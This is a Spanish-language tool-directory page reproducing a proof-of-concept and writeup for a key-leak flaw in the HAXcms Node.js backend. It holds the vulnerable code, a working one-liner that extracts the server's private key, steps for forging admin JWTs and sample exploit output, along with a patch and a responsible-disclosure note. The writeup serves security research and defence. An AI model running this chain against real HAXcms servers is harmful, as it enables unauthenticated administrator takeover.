Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-46395-haxcms-hmac-key-leak — PoC y writeup para CVE-2026-46395: divulgación no autenticada de claves privadas mediante HMAC roto en HAXcms Node.js (CWE-321/CWE-200). Solo para investigación de seguridad autorizada. | Kitploit
Herramientas/GitHubGitHub/shreyas-challa/cve-2026-46395-haxcms-hmac-key-leak
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCriptografíaPruebas de PenetraciónAprendizaje y Educación
GitHubshreyas-challa/cve-2026-46395-haxcms-hmac-key-leak

CVE-2026-46395-haxcms-hmac-key-leak

PoC y writeup para CVE-2026-46395: divulgación no autenticada de claves privadas mediante HMAC roto en HAXcms Node.js (CWE-321/CWE-200). Solo para investigación de seguridad autorizada.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 2 mesesAún no revisado

CVE-2026-46395 - Divulgación de clave privada en HAXcms Node.js mediante HMAC defectuoso (CWE-321 / CWE-200)

Prueba de concepto únicamente para pruebas de seguridad e investigación autorizadas. La vulnerabilidad descrita aquí está corregida en la última versión de HAXcms. Este PoC se publica para que defensores e investigadores puedan verificar el problema en instancias sin parchear que posean o que estén explícitamente autorizados a probar.

CVECVE-2026-46395
ComponenteBackend Node.js de HAXcms - haxcms-nodejs/src/lib/HAXCMS.js
VulnerabilidadClave criptográfica hardcodeada + divulgación de clave privada (CWE-321, CWE-200)
GravedadCrítica - CVSS 3.1 9.8
AtaqueNo autenticado, una sola petición HTTP, sin interacción del usuario
EstadoCorregido upstream. Afecta a versiones anteriores al parche.
Proyectoelmsln/HAXcms
ReporteroShreyas Challa ([email protected])

Resumen

hmacBase64() en el backend Node.js de HAXcms (src/lib/HAXCMS.js:2158-2163) contiene dos errores criptográficos que, en conjunto, permiten a cualquier atacante no autenticado recuperar el secreto maestro de firma del servidor (privateKey + salt) y forjar JWT de nivel administrador.

root@kitploit:~
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();  // BUG 1: key hardcoded to "0"
  var buf2 = Buffer.from(key);                                        // BUG 2: the real key...
  return Buffer.concat([buf1, buf2]).toString('base64')               // ...is appended to the output
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
  • Bug 1 - Clave HMAC hardcodeada: el literal "0" se usa como clave de firma en lugar de key, por lo que el HMAC no proporciona secreto.
  • Bug 2 - Clave filtrada en la salida: la key real (el privateKey + salt del sistema) se concatena al digest y se codifica en base64 dentro del token devuelto.

Por lo tanto, cada token tiene la estructura:

root@kitploit:~
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )

Un atacante decodifica en base64 cualquier token, descarta los primeros 32 bytes y lee directamente la clave privada. El endpoint /system/api/connectionSettings está en la lista de exclusión de JWT (src/app.js) y devuelve varios de estos tokens sin autenticación, por lo que una sola petición GET expone la clave.

El backend PHP (HAXCMS.php:1619-1631) lo implementa correctamente (firmado con la clave real, devuelve solo el digest → tokens de 44 caracteres). La versión Node.js defectuosa emite tokens de 139+ caracteres, una señal visible de que se incrustan datos adicionales.

Impacto

Una sola petición no autenticada permite el compromiso total:

  1. Extraer la clave privada - GET /system/api/connectionSettings, decodificar cualquier token en base64 y descartar los primeros 32 bytes.
  2. Forjar un JWT de administrador - jwt.sign(payload, privateKey+salt).
  3. Forjar tokens de petición - recalcular user_token, form_token, etc.
  4. Acceso total de administrador - crear/modificar/eliminar sitios, subir archivos, cambiar contenido.

Esto funciona incluso después de que el administrador establezca una contraseña segura, y los tokens forjados no generan eventos de inicio de sesión en los registros.

Ejecutar el PoC

poc_hmac_key_leak.js ejecuta toda la cadena de principio a fin contra una instancia en funcionamiento e imprime cada paso de forma detallada: obtener tokens → extraer la clave → verificar la clave → forjar JWT → forjar tokens de petición → llamar a un endpoint autenticado → crear un sitio para demostrar acceso de escritura.

Requisitos previos

  • Node.js 16+
  • Una instancia HAXcms Node.js en ejecución que esté autorizado a probar

Ponga en marcha una instancia de prueba local:

root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js            # serves on http://localhost:3000

Instalar y ejecutar el PoC

root@kitploit:~
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install                # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000

Si jsonwebtoken no está instalado, el PoC aún extrae y verifica la clave y simplemente omite los pasos de forja de JWT.

One-liner manual (solo extracción de clave)

root@kitploit:~
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
  | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)

node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
         console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"

Salida de ejemplo

root@kitploit:~
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
  token length: 139 chars (a correct HMAC token is ~44)

STEP 2: Extract the private key from the token
  Bytes 32+ (privateKey + salt in PLAINTEXT):
    4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
  RESULT: Private key successfully extracted!

STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.

Remediación

Reemplace la función defectuosa con un HMAC con clave correcto que devuelva solo el digest:

root@kitploit:~
hmacBase64(data, key) {
  return crypto.createHmac("sha256", key)   // use the real key
    .update(data)
    .digest('base64')                        // return ONLY the hash
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

Después de aplicar el parche:

  1. Todos los JWT/tokens existentes quedan invalidados (esperado): los usuarios vuelven a autenticarse.
  2. Rote privateKey y salt en cada instancia desplegada: cualquier token emitido anteriormente contiene la clave antigua en texto plano (en respuestas HTTP, registros e historial del navegador).

Actualice a la última versión de HAXcms, que contiene la corrección de upstream.

Divulgación responsable

Este problema se notificó a los mantenedores de HAXcms y se corrigió antes de su publicación. El PoC se publica solo después de que hubo un parche disponible. Úselo exclusivamente contra sistemas que posea o que esté explícitamente autorizado a probar.

Aviso legal / uso autorizado

Este material se proporciona para investigación defensiva, educación y pruebas de seguridad autorizadas. Ejecutarlo contra sistemas sin permiso explícito puede ser ilegal. Usted es el único responsable de cumplir con todas las leyes aplicables y de obtener la autorización antes de realizar las pruebas. Se proporciona "tal cual", sin garantía (consulte LICENSE).

Descargar herramienta